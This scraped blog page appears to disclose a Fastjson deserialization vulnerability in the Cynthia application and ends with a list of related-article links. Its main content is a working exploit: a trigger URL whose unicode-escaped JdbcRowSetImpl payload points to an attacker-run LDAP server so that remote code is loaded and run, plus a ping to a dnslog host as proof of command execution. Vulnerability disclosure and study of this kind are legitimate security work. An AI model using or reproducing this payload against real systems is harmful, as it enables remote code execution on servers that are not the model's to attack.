Cynthia - Fastjson deserialization vulnerability

This is a Fastjson deserialization vulnerability

1.login fast
Login required

2.Fastjson deserialization
Trigger point
http://xx.xxx.xxx.xx/cynthia/template/saveTemplateMailConfig.do?templateId=744313&templateMailOptions={“b”:{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":“ldap://xx.xx.xx.xx:1389/wj0bb4”,“autoCommit”:true}}
Deploy malicious LDAP on the server ，then Request received
ping -c2 aa.lmy0c7.dnslog.cn The command is executed

Cynthia - Fastjson deserialization vulnerability相关推荐

深度对比Jackson和Fastjson，最终我还是选择了...
点击关注公众号,Java干货及时送达来源:cnblogs.com/larva-zhh/p/11544317.html 为什么要替换fastjson 框架选型替换fastjson Deseriali ...
weblogic修改banner_WeblogicScanV1.3
WeblogicScan Weblogic一键漏洞检测工具,V1.3 软件作者:Tide_RabbitMask 免责声明:Pia!(o ‵-′)ノ"(ノ﹏本工具仅用于安全测试,请勿用于非法 ...
Metasploit 渗透测试手册第三版第三章服务端漏洞利用（翻译）
第三章服务端漏洞利用在本章中,我们将学习以下内容 1.攻击Linux服务器 2.SQL注入攻击 3.shell类型 4.攻击Windows服务器 5.利用公用服务 6.MS17-010 永恒之蓝 ...
Java RMI反序列化/JEP290相关
RMI 远程过程调用 (Remote Procedure Call)是一种服务器-客户端模式, Java的RMI(Remote Method Invocation)是一种RPC实现. 其基本思想是程序 ...
红日安全内网渗透笔记
靶场下载地址:漏洞详情环境配置参考:[红日安全-VulnStack]ATT&CK实战系列--红队实战(二) - yokan - 博客园此实战仅有3台机器 DMZ区的WEB机 .核心区的AD ...
php cve 2017 12933,18-017 (March 27, 2018)
描述 * indicates a new version of an existing rule Deep Packet Inspection Rules: DCERPC Services - Cli ...
10 个 Java 安全最佳实践
Java 安全问题尽管我们都致力于编写出色的代码,但 Java 安全性并不总是开发人员思维的一部分.但是,防止 Java 安全问题应该与使您的 Java 应用程序具有高性能.可扩展性和可维护性一样重 ...
Cynthia - XSS vulnerability exists in the newly created TAG
There is an XSS vulnerability when creating a new TAG 1. Click the settings icon and then click the ...
FastJson屡爆漏洞，或许你应该试试它？
点击蓝色"程序猿DD"关注我回复"资源"获取独家整理的学习资料! 前言这个周末被几个技术博主的同一篇公众号文章「预警」尽快升级FastJson版本,避免恶意 ...

Cynthia - Fastjson deserialization vulnerability

Cynthia - Fastjson deserialization vulnerability相关推荐

最新文章

热门文章